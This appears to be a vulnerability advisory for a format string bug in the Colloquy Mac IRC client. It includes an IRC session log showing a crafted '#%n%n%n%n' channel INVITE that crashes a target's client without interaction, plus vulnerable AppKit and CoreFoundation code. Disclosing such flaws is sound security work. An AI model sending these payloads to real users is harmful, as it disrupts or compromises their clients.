BACK

CREDIT

POC or EXPLOIT

REFERENCES


b00m!

Summary

Traditionally, chat clients on the Mac have been anything but glamorous. Colloquy is an advanced IRC & SILC client which aims to fill this void. By adhering to Mac OS X interface conventions, Colloquy has the look and feel of a quality Mac application. By making a common mistake the developers of Colloquy have exposed users to a format string vulnerability in the handling of INVITE requests, that can be abused by remote users and requires no interaction at all.

Affected versions

Colloquy 2.1 (3545) and previous versions. It is supplied as a universal binary, thus equal opportunity pwnage is available on both Intel and PowerPC Mac.

Proof of concept, exploit or instructions to reproduce

The provided exploit will connect to an IRC server of your choosing and join a specific channel. Once it has joined the channel, a mass invite will be sent to the channel users with a string with will cause Colloquy to trigger the issue.

$ ruby MOAB-16-01-2007.rb 
++ CTCP VERSION from freenode-connect!freenode@freenode/bot/connect
++ NICKNAME: ...
++ NICKNAME: ...
(...)
			

Debugging information

The following output shows the interaction of a client with the newyork.ny.us.undernet.org server, abusing the vulnerability against user kf by sending a crafted invite request:

NOTICE AUTH :*** Looking up your hostname
NOTICE AUTH :*** Checking Ident
NOTICE AUTH :*** No ident response
NOTICE AUTH :*** Found your hostname

USER MOAB_BOT localhost localhost :
NICK MOAB_BOTv1
PING :379148326
PONG :379148326

:newyork.ny.us.undernet.org 001 MOAB_BOTv1 :Welcome to the UnderNet IRC Network, MOAB_BOTv1
(...)
:newyork.ny.us.undernet.org 252 MOAB_BOTv1 69 :operator(s) online
:newyork.ny.us.undernet.org 253 MOAB_BOTv1 203 :unknown connection(s)
:newyork.ny.us.undernet.org 254 MOAB_BOTv1 37417 :channels formed
:newyork.ny.us.undernet.org 255 MOAB_BOTv1 :I have 11725 clients and 1 servers
(...)
:newyork.ny.us.undernet.org 376 MOAB_BOTv1 :End of /MOTD command.
:newyork.ny.us.undernet.org NOTICE MOAB_BOTv1 :on 2 ca 1(4) ft 10(10)
:MOAB_BOTv1!~MOAB_BOT@...com MODE MOAB_BOTv1 :+i

/join #fanboy

:MOAB_BOTv1!~MOAB_BOT@...com JOIN #fanboy
:newyork.ny.us.undernet.org 353 MOAB_BOTv1 = #fanboy :MOAB_BOTv1 @kf
:newyork.ny.us.undernet.org 366 MOAB_BOTv1 #fanboy :End of /NAMES list.

/join #%n%n%n%n

:MOAB_BOTv1!~MOAB_BOT@(...).com JOIN #%n%n%n%n
:newyork.ny.us.undernet.org 353 MOAB_BOTv1 = #%n%n%n%n :@MOAB_BOTv1
:newyork.ny.us.undernet.org 366 MOAB_BOTv1 #%n%n%n%n :End of /NAMES list.

/invite kf #%n%n%n%n

:newyork.ny.us.undernet.org 341 MOAB_BOTv1 kf #%n%n%n%n

(...)
:kf!~kf@a.....bos.pimpshiz.com QUIT :Read error: EOF from client
			

There's no user interaction necessary and the issue can be triggered by simply receiving the INVITE request.

Notes

Exploitation conditions

NSRunInformationalAlertPanel( title, message, NSLocalizedString( @"Join", "join button" ), NSLocalizedString( @"Decline", "decline button" ), nil )

Both _invitedToRoom: and _invitedToDirectChat: seem to have issues. Generally, all input that is passed to an AlertSheet or Panel should be validated.

The origin of this problem is caused by Apple's AppKit framework, and these functions have been misused by developers of applications like Skype, iPhoto and OmniWeb, leading to many different format string vulnerabilities:

http://developer.apple.com/documentation/Cocoa/Reference/ApplicationKit/Miscellaneous/AppKit_Functions/Reference/reference.html

* NSBeginAlertSheet
* NSBeginCriticalAlertSheet
* NSBeginInformationalAlertSheet
* NSGetAlertPanel
* NSGetCriticalAlertPanel
* NSGetInformationalAlertPanel
* NSReleaseAlertPanel
* NSRunAlertPanel
* NSRunCriticalAlertPanel
* NSRunInformationalAlertPanel
			

All of these functions have a similar behavior like printf(). Due to a bug in CoreFoundation, these issues are currently difficult to exploit for code execution. As you can see below, %n support is broken:

http://www.opensource.apple.com/darwinsource/10.4.8.x86/CF-368.27/String.subproj/CFString.c

CF_INLINE void __CFParseFormatSpec(const UniChar *uformat, const uint8_t *cformat,
SInt32 *fmtIdx, SInt32 fmtLen, CFFormatSpec *spec) {
    Boolean seenDot = false;
    for (;;) {
	UniChar ch;
	if (fmtLen <= *fmtIdx) return;	/* no type */
        if (cformat) ch = (UniChar)cformat[(*fmtIdx)++]; else ch = uformat[(*fmtIdx)++];
	reswtch:switch (ch) {
	case '#':	// ignored for now
	break;
	...
	case 'n': case 'p':		/* %n is not handled correctly currently */
	    spec->type = CFFormatPointerType;
	    spec->size = CFFormatSize4;
	    return;
	case 's':
	    spec->type = CFFormatCharsType;
	    spec->size = CFFormatSize4;
	    return;
	...
	case '@':
	    spec->type = CFFormatCFType;
	    spec->size = CFFormatSize4;
	    return;
}
			
Workaround or temporary solution

Wait for a fixed version of Colloquy to be released. Use an alternative IRC client.